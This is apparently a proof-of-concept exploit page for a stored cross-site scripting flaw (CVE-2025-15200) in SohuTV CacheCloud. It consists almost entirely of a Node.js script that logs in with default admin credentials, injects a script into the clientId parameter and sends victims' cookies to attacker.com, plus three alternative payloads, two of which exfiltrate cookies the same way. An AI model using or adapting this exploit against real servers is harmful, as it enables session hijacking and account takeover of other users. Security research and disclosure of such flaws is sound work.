CVE-2025-15200 SohuTV CacheCloud跨站脚本漏洞

// CVE-2025-15200 PoC - Stored XSS in SohuTV CacheCloud // Target: CacheCloud <= 3.2.0 // Endpoint: /appClientDataShow/getExceptionStatisticsByClient or similar const axios = require('axios'); const target = 'http://target-cachecloud-server:8080'; const loginUrl = `${target}/login`; const exploitUrl = `${target}/appClientDataShow/getExceptionStatisticsByClient`; // XSS Payload const xssPayload = '<script>document.location="http://attacker.com/log?c="+document.cookie</script>'; async function exploit() { // Step 1: Login with high privilege account const loginResponse = await axios.post(loginUrl, { username: 'admin', password: 'admin123' }); const cookies = loginResponse.headers['set-cookie']; // Step 2: Inject XSS payload through vulnerable parameter await axios.get(exploitUrl, { params: { appId: '1', clientId: xssPayload, // XSS injection point timeRange: '24h' }, headers: { 'Cookie': cookies } }); console.log('XSS payload injected successfully'); console.log('When other users visit the page, cookies will be stolen'); } exploit().catch(console.error); /* Alternative XSS Payloads: 1. <img src=x onerror="fetch('http://attacker.com/?'+document.cookie)"> 2. <svg/onload=fetch('http://attacker.com/?'+btoa(document.cookie))> 3. <iframe src="javascript:alert(document.domain)"> */